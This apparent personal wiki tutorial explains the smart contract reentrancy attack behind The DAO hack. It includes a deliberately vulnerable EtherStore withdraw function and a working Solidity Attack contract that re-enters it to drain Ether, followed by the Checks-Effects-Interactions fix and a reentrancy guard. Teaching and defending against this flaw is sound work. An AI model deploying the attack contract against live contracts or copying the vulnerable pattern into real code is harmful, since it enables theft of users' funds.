Nsdd

A personal wiki, chronicling hacking, data, and AI learning.

Reentrancy Attack Explained:The Deeper Dive into the Vulnerability That Halted The DAO

TC / 2025-10-22


Reentrancy Attack Explained: The Deeper Dive into the Vulnerability That Halted The DAO

Introduction: The Ghosts of The DAO

The Reentrancy Attack stands as one of the most notorious vulnerabilities in smart contract history, primarily because it was the exploit used to drain millions of dollars from The DAO in 2016, leading to a contentious hard fork of the Ethereum network. Often misunderstood, the attack is not about “replaying” transactions, but about re-entering a function before its state changes are finalized.

This article uses a classic vulnerable contract, EtherStore, and a corresponding malicious contract, Attack, to dissect the mechanism of Reentrancy and outlines crucial defense strategies.


Part I: The Vulnerable Code and the Attack Payload

A. The Vulnerable Contract: EtherStore

The vulnerability lies squarely within the withdraw() function of the EtherStore contract. The code sequence violates the crucial Checks-Effects-Interactions (CEI) security pattern.

contract EtherStore {
    mapping(address => uint256) public balances;

    // ... deposit function omitted for brevity ...

    function withdraw() public {
        uint256 bal = balances[msg.sender]; // 1. Check: Get the user's balance
        require(bal > 0);

        // 2. Interaction (External Call): Send Ether to the caller
        // *** THE VULNERABILITY: Interaction occurs before Effects ***
        (bool sent,) = msg.sender.call{value: bal}(""); 
        require(sent, "Failed to send Ether"); 
        
        // 3. Effect: Update state (Clear the balance)
        // This is executed TOO LATE!
        balances[msg.sender] = 0; 
    }
    // ...
}

B. The Malicious Contract: Attack

The attacker’s contract is designed to hijack the flow of execution via its payable receive() function.

contract Attack {
    EtherStore public etherStore;
    uint256 public constant AMOUNT = 1 ether;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // The function executed when EtherStore sends Ether back.
    receive() external payable {
        // If the EtherStore still has enough balance, call withdraw() again.
        if (address(etherStore).balance >= AMOUNT) {
            etherStore.withdraw(); // *** The Re-Entry Call ***
        }
    }

    function attack() external payable {
        require(msg.value >= AMOUNT);
        
        // Step 1: Fund the Attack - Establish a withdrawable balance (The "Bait")
        etherStore.deposit{value: AMOUNT}(); 
        
        // Step 2: Initiate the Attack - Trigger the vulnerable function
        etherStore.withdraw();
    }
    // ...
}

Part II: The Mechanics of the Attack

The attack is a circular exploitation of the “Interaction Before Effect” sequence. The attacker deposits funds to gain an initial balance, then calls withdraw(). The external call to the malicious contract’s receive() function triggers a re-entry into withdraw() before the attacker’s balance is cleared. This allows the attacker to repeatedly withdraw funds until the vulnerable contract is drained.


Part III: Defense Measures

The solution to the Reentrancy Attack involves ensuring that external calls cannot manipulate the contract’s critical state variables. The two primary defense mechanisms are enforcing the Check-Effects-Interactions (CEI) Pattern and utilizing Reentrancy Guards.

1. The Check-Effects-Interactions (CEI) Pattern (The Structural Fix)

The most straightforward and effective defense is to strictly adhere to the CEI Pattern:

Under the CEI pattern, regardless of how the execution flow shifts during the external call, the attacker’s balance has already been deducted correctly. Therefore, a re-entrancy attack cannot repeatedly withdraw funds.

The Patched Code:

function withdraw() public {
    // 1. Check
    uint256 bal = balances[msg.sender];
    require(bal > 0);
    
    // 2. Effects (Balance is zeroed FIRST)
    balances[msg.sender] = 0; 
    
    // 3. Interactions (External call LAST)
    (bool sent,) = msg.sender.call{value: bal}("");
    require(sent, "Failed to send Ether");
}

2. Reentrancy Guard (The Runtime Lock)

A complementary defense is to use the ReentrancyGuard provided by libraries like OpenZeppelin. This is a behavioral solution that acts as a runtime lock on a function.

The core mechanism involves a state variable (locked) and a modifier (nonReentrant):

contract ReentrancyGuard {
    // This lock variable tracks the function's execution status.
    bool internal locked;

    modifier nonReentrant() {
        require(!locked, "No reentrancy");
        locked = true; // Lock is set at the start
        _; // Function body executes
        locked = false; // Lock is released at the end
    }
}

When a function is executed, the nonReentrant modifier first sets a lock. If the malicious contract attempts a re-entry, the modifier’s require(!locked, "No reentrancy") check will fail because the lock is still active from the initial call.

Example Implementation:

import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract EtherStore is ReentrancyGuard {

    function withdraw() public nonReentrant {
        uint256 bal = balances[msg.sender];
        require(bal > 0);
        
        // This still follows the CEI pattern for best practice, 
        // but the Guard provides an extra layer of protection.
        balances[msg.sender] = 0; 
        
        (bool sent,) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
    }
    // ...
}

Using both the structural CEI pattern and the runtime ReentrancyGuard provides the strongest possible defense against this critical exploit.